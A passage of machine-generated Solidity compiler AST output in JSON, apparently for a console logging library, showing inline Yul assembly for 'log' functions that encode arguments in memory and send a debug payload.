1500:6:22"},"nativeSrc":"371500:16:22","nodeType":"YulFunctionCall","src":"371500:16:22"},"nativeSrc":"371500:16:22","nodeType":"YulExpressionStatement","src":"371500:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371536:4:22","nodeType":"YulLiteral","src":"371536:4:22","type":"","value":"0xe0"},{"name":"m7","nativeSrc":"371542:2:22","nodeType":"YulIdentifier","src":"371542:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371529:6:22","nodeType":"YulIdentifier","src":"371529:6:22"},"nativeSrc":"371529:16:22","nodeType":"YulFunctionCall","src":"371529:16:22"},"nativeSrc":"371529:16:22","nodeType":"YulExpressionStatement","src":"371529:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371565:5:22","nodeType":"YulLiteral","src":"371565:5:22","type":"","value":"0x100"},{"name":"m8","nativeSrc":"371572:2:22","nodeType":"YulIdentifier","src":"371572:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371558:6:22","nodeType":"YulIdentifier","src":"371558:6:22"},"nativeSrc":"371558:17:22","nodeType":"YulFunctionCall","src":"371558:17:22"},"nativeSrc":"371558:17:22","nodeType":"YulExpressionStatement","src":"371558:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371595:5:22","nodeType":"YulLiteral","src":"371595:5:22","type":"","value":"0x120"},{"name":"m9","nativeSrc":"371602:2:22","nodeType":"YulIdentifier","src":"371602:2:22"}],"functionName":{"name":"mstore","nativeSrc":"371588:6:22","nodeType":"YulIdentifier","src":"371588:6:22"},"nativeSrc":"371588:17:22","nodeType":"YulFunctionCall","src":"371588:17:22"},"nativeSrc":"371588:17:22","nodeType":"YulExpressionStatement","src":"371588:17:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"371625:5:22","nodeType":"YulLiteral","src":"371625:5:22","type":"","value":"0x140"},{"name":"m10","nativeSrc":"371632:3:22","nodeType":"YulIdentifier","src":"371632:3:22"}],"functionName":{"name":"mstore","nativeSrc":"371618:6:22","nodeType":"YulIdentifier","src":"371618:6:22"},"nativeSrc":"371618:18:22","nodeType":"YulFunctionCall","src":"371618:18:22"},"nativeSrc":"371618:18:22","nodeType":"YulExpressionStatement","src":"371618:18:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45762,"isOffset":false,"isSlot":false,"src":"371339:2:22","valueSize":1},{"declaration":45765,"isOffset":false,"isSlot":false,"src":"371368:2:22","valueSize":1},{"declaration":45792,"isOffset":false,"isSlot":false,"src":"371632:3:22","valueSize":1},{"declaration":45768,"isOffset":false,"isSlot":false,"src":"371397:2:22","valueSize":1},{"declaration":45771,"isOffset":false,"isSlot":false,"src":"371426:2:22","valueSize":1},{"declaration":45774,"isOffset":false,"isSlot":false,"src":"371455:2:22","valueSize":1},{"declaration":45777,"isOffset":false,"isSlot":false,"src":"371484:2:22","valueSize":1},{"declaration":45780,"isOffset":false,"isSlot":false,"src":"371513:2:22","valueSize":1},{"declaration":45783,"isOffset":false,"isSlot":false,"src":"371542:2:22","valueSize":1},{"declaration":45786,"isOffset":false,"isSlot":false,"src":"371572:2:22","valueSize":1},{"declaration":45789,"isOffset":false,"isSlot":false,"src":"371602:2:22","valueSize":1}],"id":45800,"nodeType":"InlineAssembly","src":"371303:343:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"369923:3:22","parameters":{"id":45759,"nodeType":"ParameterList","parameters":[{"constant":false,"id":45752,"mutability":"mutable","name":"p0","nameLocation":"369935:2:22","nodeType":"VariableDeclaration","scope":45802,"src":"369927:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45751,"name":"bytes32","nodeType":"ElementaryTypeName","src":"369927:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45754,"mutability":"mutable","name":"p1","nameLocation":"369947:2:22","nodeType":"VariableDeclaration","scope":45802,"src":"369939:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":45753,"name":"uint256","nodeType":"ElementaryTypeName","src":"369939:7:22","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":45756,"mutability":"mutable","name":"p2","nameLocation":"369959:2:22","nodeType":"VariableDeclaration","scope":45802,"src":"369951:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45755,"name":"bytes32","nodeType":"ElementaryTypeName","src":"369951:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":45758,"mutability":"mutable","name":"p3","nameLocation":"369971:2:22","nodeType":"VariableDeclaration","scope":45802,"src":"369963:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45757,"name":"bytes32","nodeType":"ElementaryTypeName","src":"369963:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"369926:48:22"},"returnParameters":{"id":45760,"nodeType":"ParameterList","parameters":[],"src":"369989:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":45848,"nodeType":"FunctionDefinition","src":"371658:1536:22","nodes":[],"body":{"id":45847,"nodeType":"Block","src":"371733:1461:22","nodes":[],"statements":[{"assignments":[45814],"declarations":[{"constant":false,"id":45814,"mutability":"mutable","name":"m0","nameLocation":"371751:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371743:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45813,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371743:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45815,"nodeType":"VariableDeclarationStatement","src":"371743:10:22"},{"assignments":[45817],"declarations":[{"constant":false,"id":45817,"mutability":"mutable","name":"m1","nameLocation":"371771:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371763:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45816,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371763:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45818,"nodeType":"VariableDeclarationStatement","src":"371763:10:22"},{"assignments":[45820],"declarations":[{"constant":false,"id":45820,"mutability":"mutable","name":"m2","nameLocation":"371791:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371783:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45819,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371783:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45821,"nodeType":"VariableDeclarationStatement","src":"371783:10:22"},{"assignments":[45823],"declarations":[{"constant":false,"id":45823,"mutability":"mutable","name":"m3","nameLocation":"371811:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371803:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45822,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371803:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45824,"nodeType":"VariableDeclarationStatement","src":"371803:10:22"},{"assignments":[45826],"declarations":[{"constant":false,"id":45826,"mutability":"mutable","name":"m4","nameLocation":"371831:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371823:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45825,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371823:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45827,"nodeType":"VariableDeclarationStatement","src":"371823:10:22"},{"assignments":[45829],"declarations":[{"constant":false,"id":45829,"mutability":"mutable","name":"m5","nameLocation":"371851:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371843:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45828,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371843:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45830,"nodeType":"VariableDeclarationStatement","src":"371843:10:22"},{"assignments":[45832],"declarations":[{"constant":false,"id":45832,"mutability":"mutable","name":"m6","nameLocation":"371871:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371863:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45831,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371863:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45833,"nodeType":"VariableDeclarationStatement","src":"371863:10:22"},{"assignments":[45835],"declarations":[{"constant":false,"id":45835,"mutability":"mutable","name":"m7","nameLocation":"371891:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371883:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45834,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371883:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45836,"nodeType":"VariableDeclarationStatement","src":"371883:10:22"},{"assignments":[45838],"declarations":[{"constant":false,"id":45838,"mutability":"mutable","name":"m8","nameLocation":"371911:2:22","nodeType":"VariableDeclaration","scope":45847,"src":"371903:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":45837,"name":"bytes32","nodeType":"ElementaryTypeName","src":"371903:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":45839,"nodeType":"VariableDeclarationStatement","src":"371903:10:22"},{"AST":{"nativeSrc":"371932:927:22","nodeType":"YulBlock","src":"371932:927:22","statements":[{"body":{"nativeSrc":"371975:313:22","nodeType":"YulBlock","src":"371975:313:22","statements":[{"nativeSrc":"371993:15:22","nodeType":"YulVariableDeclaration","src":"371993:15:22","value":{"kind":"number","nativeSrc":"372007:1:22","nodeType":"YulLiteral","src":"372007:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"371997:6:22","nodeType":"YulTypedName","src":"371997:6:22","type":""}]},{"body":{"nativeSrc":"372078:40:22","nodeType":"YulBlock","src":"372078:40:22","statements":[{"body":{"nativeSrc":"372107:9:22","nodeType":"YulBlock","src":"372107:9:22","statements":[{"nativeSrc":"372109:5:22","nodeType":"YulBreak","src":"372109:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"372095:6:22","nodeType":"YulIdentifier","src":"372095:6:22"},{"name":"w","nativeSrc":"372103:1:22","nodeType":"YulIdentifier","src":"372103:1:22"}],"functionName":{"name":"byte","nativeSrc":"372090:4:22","nodeType":"YulIdentifier","src":"372090:4:22"},"nativeSrc":"372090:15:22","nodeType":"YulFunctionCall","src":"372090:15:22"}],"functionName":{"name":"iszero","nativeSrc":"372083:6:22","nodeType":"YulIdentifier","src":"372083:6:22"},"nativeSrc":"372083:23:22","nodeType":"YulFunctionCall","src":"372083:23:22"},"nativeSrc":"372080:36:22","nodeType":"YulIf","src":"372080:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"372035:6:22","nodeType":"YulIdentifier","src":"372035:6:22"},{"kind":"number","nativeSrc":"372043:4:22","nodeType":"YulLiteral","src":"372043:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"372032:2:22","nodeType":"YulIdentifier","src":"372032:2:22"},"nativeSrc":"372032:16:22","nodeType":"YulFunctionCall","src":"372032:16:22"},"nativeSrc":"372025:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"372049:28:22","nodeType":"YulBlock","src":"372049:28:22","statements":[{"nativeSrc":"372051:24:22","nodeType":"YulAssignment","src":"372051:24:22","value":{"arguments":[{"name":"length","nativeSrc":"372065:6:22","nodeType":"YulIdentifier","src":"372065:6:22"},{"kind":"number","nativeSrc":"372073:1:22","nodeType":"YulLiteral","src":"372073:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"372061:3:22","nodeType":"YulIdentifier","src":"372061:3:22"},"nativeSrc":"372061:14:22","nodeType":"YulFunctionCall","src":"372061:14:22"},"variableNames":[{"name":"length","nativeSrc":"372051:6:22","nodeType":"YulIdentifier","src":"372051:6:22"}]}]},"pre":{"nativeSrc":"372029:2:22","nodeType":"YulBlock","src":"372029:2:22","statements":[]},"src":"372025:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"372142:3:22","nodeType":"YulIdentifier","src":"372142:3:22"},{"name":"length","nativeSrc":"372147:6:22","nodeType":"YulIdentifier","src":"372147:6:22"}],"functionName":{"name":"mstore","nativeSrc":"372135:6:22","nodeType":"YulIdentifier","src":"372135:6:22"},"nativeSrc":"372135:19:22","nodeType":"YulFunctionCall","src":"372135:19:22"},"nativeSrc":"372135:19:22","nodeType":"YulExpressionStatement","src":"372135:19:22"},{"nativeSrc":"372171:37:22","nodeType":"YulVariableDeclaration","src":"372171:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"372188:3:22","nodeType":"YulLiteral","src":"372188:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"372197:1:22","nodeType":"YulLiteral","src":"372197:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"372200:6:22","nodeType":"YulIdentifier","src":"372200:6:22"}],"functionName":{"name":"shl","nativeSrc":"372193:3:22","nodeType":"YulIdentifier","src":"372193:3:22"},"nativeSrc":"372193:14:22","nodeType":"YulFunctionCall","src":"372193:14:22"}],"functionName":{"name":"sub","nativeSrc":"372184:3:22","nodeType":"YulIdentifier","src":"372184:3:22"},"nativeSrc":"372184:24:22","nodeType":"YulFunctionCall","src":"372184:24:22"},"variables":[{"name":"shift","nativeSrc":"372175:5:22","nodeType":"YulTypedName","src":"372175:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"372236:3:22","nodeType":"YulIdentifier","src":"372236:3:22"},{"kind":"number","nativeSrc":"372241:4:22","nodeType":"YulLiteral","src":"372241:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"372232:3:22","nodeType":"YulIdentifier","src":"372232:3:22"},"nativeSrc":"372232:14:22","nodeType":"YulFunctionCall","src":"372232:14:22"},{"arguments":[{"name":"shift","nativeSrc":"372252:5:22","nodeType":"YulIdentifier","src":"372252:5:22"},{"arguments":[{"name":"shift","nativeSrc":"372263:5:22","nodeType":"YulIdentifier","src":"372263:5:22"},{"name":"w","nativeSrc":"372270:1:22","nodeType":"YulIdentifier","src":"372270:1:22"}],"functionName":{"name":"shr","nativeSrc":"372259:3:22","nodeType":"YulIdentifier","src":"372259:3:22"},"nativeSrc":"372259:13:22","nodeType":"YulFunctionCall","src":"372259:13:22"}],"functionName":{"name":"shl","nativeSrc":"372248:3:22","nodeType":"YulIdentifier","src":"372248:3:22"},"nativeSrc":"372248:25:22","nodeType":"YulFunctionCall","src":"372248:25:22"}],"functionName":{"name":"mstore","nativeSrc":"372225:6:22","nodeType":"YulIdentifier","src":"372225:6:22"},"nativeSrc":"372225:49:22","nodeType":"YulFunctionCall","src":"372225:49:22"},"nativeSrc":"372225:49:22","nodeType":"YulExpressionStatement","src":"372225:49:22"}]},"name":"writeString","nativeSrc":"371946:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"371967:3:22","nodeType":"YulTypedName","src":"371967:3:22","type":""},{"name":"w","nativeSrc":"371972:1:22","nodeType":"YulTypedName","src":"371972:1:22","type":""}],"src":"371946:342:22"},{"nativeSrc":"372301:17:22","nodeType":"YulAssignment","src":"372301:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372313:4:22","nodeType":"YulLiteral","src":"372313:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"372307:5:22","nodeType":"YulIdentifier","src":"372307:5:22"},"nativeSrc":"372307:11:22","nodeType":"YulFunctionCall","src":"372307:11:22"},"variableNames":[{"name":"m0","nativeSrc":"372301:2:22","nodeType":"YulIdentifier","src":"372301:2:22"}]},{"nativeSrc":"372331:17:22","nodeType":"YulAssignment","src":"372331:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372343:4:22","nodeType":"YulLiteral","src":"372343:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"372337:5:22","nodeType":"YulIdentifier","src":"372337:5:22"},"nativeSrc":"372337:11:22","nodeType":"YulFunctionCall","src":"372337:11:22"},"variableNames":[{"name":"m1","nativeSrc":"372331:2:22","nodeType":"YulIdentifier","src":"372331:2:22"}]},{"nativeSrc":"372361:17:22","nodeType":"YulAssignment","src":"372361:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372373:4:22","nodeType":"YulLiteral","src":"372373:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"372367:5:22","nodeType":"YulIdentifier","src":"372367:5:22"},"nativeSrc":"372367:11:22","nodeType":"YulFunctionCall","src":"372367:11:22"},"variableNames":[{"name":"m2","nativeSrc":"372361:2:22","nodeType":"YulIdentifier","src":"372361:2:22"}]},{"nativeSrc":"372391:17:22","nodeType":"YulAssignment","src":"372391:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372403:4:22","nodeType":"YulLiteral","src":"372403:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"372397:5:22","nodeType":"YulIdentifier","src":"372397:5:22"},"nativeSrc":"372397:11:22","nodeType":"YulFunctionCall","src":"372397:11:22"},"variableNames":[{"name":"m3","nativeSrc":"372391:2:22","nodeType":"YulIdentifier","src":"372391:2:22"}]},{"nativeSrc":"372421:17:22","nodeType":"YulAssignment","src":"372421:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372433:4:22","nodeType":"YulLiteral","src":"372433:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"372427:5:22","nodeType":"YulIdentifier","src":"372427:5:22"},"nativeSrc":"372427:11:22","nodeType":"YulFunctionCall","src":"372427:11:22"},"variableNames":[{"name":"m4","nativeSrc":"372421:2:22","nodeType":"YulIdentifier","src":"372421:2:22"}]},{"nativeSrc":"372451:17:22","nodeType":"YulAssignment","src":"372451:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372463:4:22","nodeType":"YulLiteral","src":"372463:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"372457:5:22","nodeType":"YulIdentifier","src":"372457:5:22"},"nativeSrc":"372457:11:22","nodeType":"YulFunctionCall","src":"372457:11:22"},"variableNames":[{"name":"m5","nativeSrc":"372451:2:22","nodeType":"YulIdentifier","src":"372451:2:22"}]},{"nativeSrc":"372481:17:22","nodeType":"YulAssignment","src":"372481:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372493:4:22","nodeType":"YulLiteral","src":"372493:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mload","nativeSrc":"372487:5:22","nodeType":"YulIdentifier","src":"372487:5:22"},"nativeSrc":"372487:11:22","nodeType":"YulFunctionCall","src":"372487:11:22"},"variableNames":[{"name":"m6","nativeSrc":"372481:2:22","nodeType":"YulIdentifier","src":"372481:2:22"}]},{"nativeSrc":"372511:17:22","nodeType":"YulAssignment","src":"372511:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"372523:4:22","nodeType":"YulLiteral","src":"372523:4:22","type":"","value":"0xe0"}],"functionName":{"name":"mload","nativeSrc":"372517:5:22","nodeType":"YulIdentifier","src":"372517:5:22"},"nativeSrc":"372517:11:22","nodeType":"YulFunctionCall","src":"372517:11:22"},"variableNames":[{"name":"m7","nativeSrc":"372511:2:22","nodeType":"YulIdentifier","src":"372511:2:22"}]},{"nativeSrc":"372541:18:22","nodeType":"YulAssignment","src":"372541:18:22","value":{"arguments":[{"kind":"number","nativeSrc":"372553:5:22","nodeType":"YulLiteral","src":"372553:5:22","type":"","value":"0x100"}],"functionName":{"name":"mload","nativeSrc":"372547:5:22","nodeType":"YulIdentifier","src":"372547:5:22"},"nativeSrc":"372547:12:22","nodeType":"YulFunctionCall","src":"372547:12:22"},"variableNames":[{"name":"m8","nativeSrc":"372541:2:22","nodeType":"YulIdentifier","src":"372541:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372644:4:22","nodeType":"YulLiteral","src":"372644:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"372650:10:22","nodeType":"YulLiteral","src":"372650:10:22","type":"","value":"0x439c7bef"}],"functionName":{"name":"mstore","nativeSrc":"372637:6:22","nodeType":"YulIdentifier","src":"372637:6:22"},"nativeSrc":"372637:24:22","nodeType":"YulFunctionCall","src":"372637:24:22"},"nativeSrc":"372637:24:22","nodeType":"YulExpressionStatement","src":"372637:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372681:4:22","nodeType":"YulLiteral","src":"372681:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"372687:4:22","nodeType":"YulLiteral","src":"372687:4:22","type":"","value":"0x80"}],"functionName":{"name":"mstore","nativeSrc":"372674:6:22","nodeType":"YulIdentifier","src":"372674:6:22"},"nativeSrc":"372674:18:22","nodeType":"YulFunctionCall","src":"372674:18:22"},"nativeSrc":"372674:18:22","nodeType":"YulExpressionStatement","src":"372674:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372712:4:22","nodeType":"YulLiteral","src":"372712:4:22","type":"","value":"0x40"},{"kind":"number","nativeSrc":"372718:4:22","nodeType":"YulLiteral","src":"372718:4:22","type":"","value":"0xc0"}],"functionName":{"name":"mstore","nativeSrc":"372705:6:22","nodeType":"YulIdentifier","src":"372705:6:22"},"nativeSrc":"372705:18:22","nodeType":"YulFunctionCall","src":"372705:18:22"},"nativeSrc":"372705:18:22","nodeType":"YulExpressionStatement","src":"372705:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372743:4:22","nodeType":"YulLiteral","src":"372743:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"372749:2:22","nodeType":"YulIdentifier","src":"372749:2:22"}],"functionName":{"name":"mstore","nativeSrc":"372736:6:22","nodeType":"YulIdentifier","src":"372736:6:22"},"nativeSrc":"372736:16:22","nodeType":"YulFunctionCall","src":"372736:16:22"},"nativeSrc":"372736:16:22","nodeType":"YulExpressionStatement","src":"372736:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372772:4:22","nodeType":"YulLiteral","src":"372772:4:22","type":"","value":"0x80"},{"name":"p3","nativeSrc":"372778:2:22","nodeType":"YulIdentifier","src":"372778:2:22"}],"functionName":{"name":"mstore","nativeSrc":"372765:6:22","nodeType":"YulIdentifier","src":"372765:6:22"},"nativeSrc":"372765:16:22","nodeType":"YulFunctionCall","src":"372765:16:22"},"nativeSrc":"372765:16:22","nodeType":"YulExpressionStatement","src":"372765:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372806:4:22","nodeType":"YulLiteral","src":"372806:4:22","type":"","value":"0xa0"},{"name":"p0","nativeSrc":"372812:2:22","nodeType":"YulIdentifier","src":"372812:2:22"}],"functionName":{"name":"writeString","nativeSrc":"372794:11:22","nodeType":"YulIdentifier","src":"372794:11:22"},"nativeSrc":"372794:21:22","nodeType":"YulFunctionCall","src":"372794:21:22"},"nativeSrc":"372794:21:22","nodeType":"YulExpressionStatement","src":"372794:21:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372840:4:22","nodeType":"YulLiteral","src":"372840:4:22","type":"","value":"0xe0"},{"name":"p1","nativeSrc":"372846:2:22","nodeType":"YulIdentifier","src":"372846:2:22"}],"functionName":{"name":"writeString","nativeSrc":"372828:11:22","nodeType":"YulIdentifier","src":"372828:11:22"},"nativeSrc":"372828:21:22","nodeType":"YulFunctionCall","src":"372828:21:22"},"nativeSrc":"372828:21:22","nodeType":"YulExpressionStatement","src":"372828:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":45814,"isOffset":false,"isSlot":false,"src":"372301:2:22","valueSize":1},{"declaration":45817,"isOffset":false,"isSlot":false,"src":"372331:2:22","valueSize":1},{"declaration":45820,"isOffset":false,"isSlot":false,"src":"372361:2:22","valueSize":1},{"declaration":45823,"isOffset":false,"isSlot":false,"src":"372391:2:22","valueSize":1},{"declaration":45826,"isOffset":false,"isSlot":false,"src":"372421:2:22","valueSize":1},{"declaration":45829,"isOffset":false,"isSlot":false,"src":"372451:2:22","valueSize":1},{"declaration":45832,"isOffset":false,"isSlot":false,"src":"372481:2:22","valueSize":1},{"declaration":45835,"isOffset":false,"isSlot":false,"src":"372511:2:22","valueSize":1},{"declaration":45838,"isOffset":false,"isSlot":false,"src":"372541:2:22","valueSize":1},{"declaration":45804,"isOffset":false,"isSlot":false,"src":"372812:2:22","valueSize":1},{"declaration":45806,"isOffset":false,"isSlot":false,"src":"372846:2:22","valueSize":1},{"declaration":45808,"isOffset":false,"isSlot":false,"src":"372749:2:22","valueSize":1},{"declaration":45810,"isOffset":false,"isSlot":false,"src":"372778:2:22","valueSize":1}],"id":45840,"nodeType":"InlineAssembly","src":"371923:936:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":45842,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"372884:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"3078313034","id":45843,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"372890:5:22","typeDescriptions":{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"},"value":"0x104"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_260_by_1","typeString":"int_const 260"}],"id":45841,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"372868:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":45844,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"372868:28:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":45845,"nodeType":"ExpressionStatement","src":"372868:28:22"},{"AST":{"nativeSrc":"372915:273:22","nodeType":"YulBlock","src":"372915:273:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"372936:4:22","nodeType":"YulLiteral","src":"372936:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"372942:2:22","nodeType":"YulIdentifier","src":"372942:2:22"}],"functionName":{"name":"mstore","nativeSrc":"372929:6:22","nodeType":"YulIdentifier","src":"372929:6:22"},"nativeSrc":"372929:16:22","nodeType":"YulFunctionCall","src":"372929:16:22"},"nativeSrc":"372929:16:22","nodeType":"YulExpressionStatement","src":"372929:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372965:4:22","nodeType":"YulLiteral","src":"372965:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"372971:2:22","nodeType":"YulIdentifier","src":"372971:2:22"}],"functionName":{"name":"mstore","nativeSrc":"372958:6:22","nodeType":"YulIdentifier","src":"372958:6:22"},"nativeSrc":"372958:16:22","nodeType":"YulFunctionCall","src":"372958:16:22"},"nativeSrc":"372958:16:22","nodeType":"YulExpressionStatement","src":"372958:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"372994:4:22","nodeType":"YulLiteral","src":"372994:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"373000:2:22","nodeType":"YulIdentifier","src":"373000:2:22"}],"functionName":{"name":"mstore","nativeSrc":"372987:6:22","nodeType":"YulIdentifier","src":"372987:6:22"},"nativeSrc":"372987:16:22","nodeType":"YulFunctionCall","src":"372987:16:22"},"nativeSrc":"372987:16:22","nodeType":"YulExpressionStatement","src":"372987:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"373023:4:22","nodeType":"YulLiteral","src":"373023:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"373029:2:22","nodeType":"YulIdentifier","src":"373029:2:22"}],"functionName":{"name":"mstore","nativeSrc":"373016:6:22","nodeType":"YulIdentifier","src":"373016:6:22"},"nativeSrc":"373016:16:22","nodeType":"YulFunctionCall","src":"373016:16:22"},"nativeSrc":"373016:16:22","nodeType":"YulExpressionStatement","src":"373016:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"373052:4:22","nodeType":"YulLiteral","src":"373052:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"373058:2:22","nodeType":"YulIdentifier","src":"373058:2:22"}],"functionName":{"name":"mstore","nativeSrc":"373045:6:22","nodeType":"YulIdentifier","src":"373045:6:22"},"nativeSrc":"373045:16:22","nodeType":"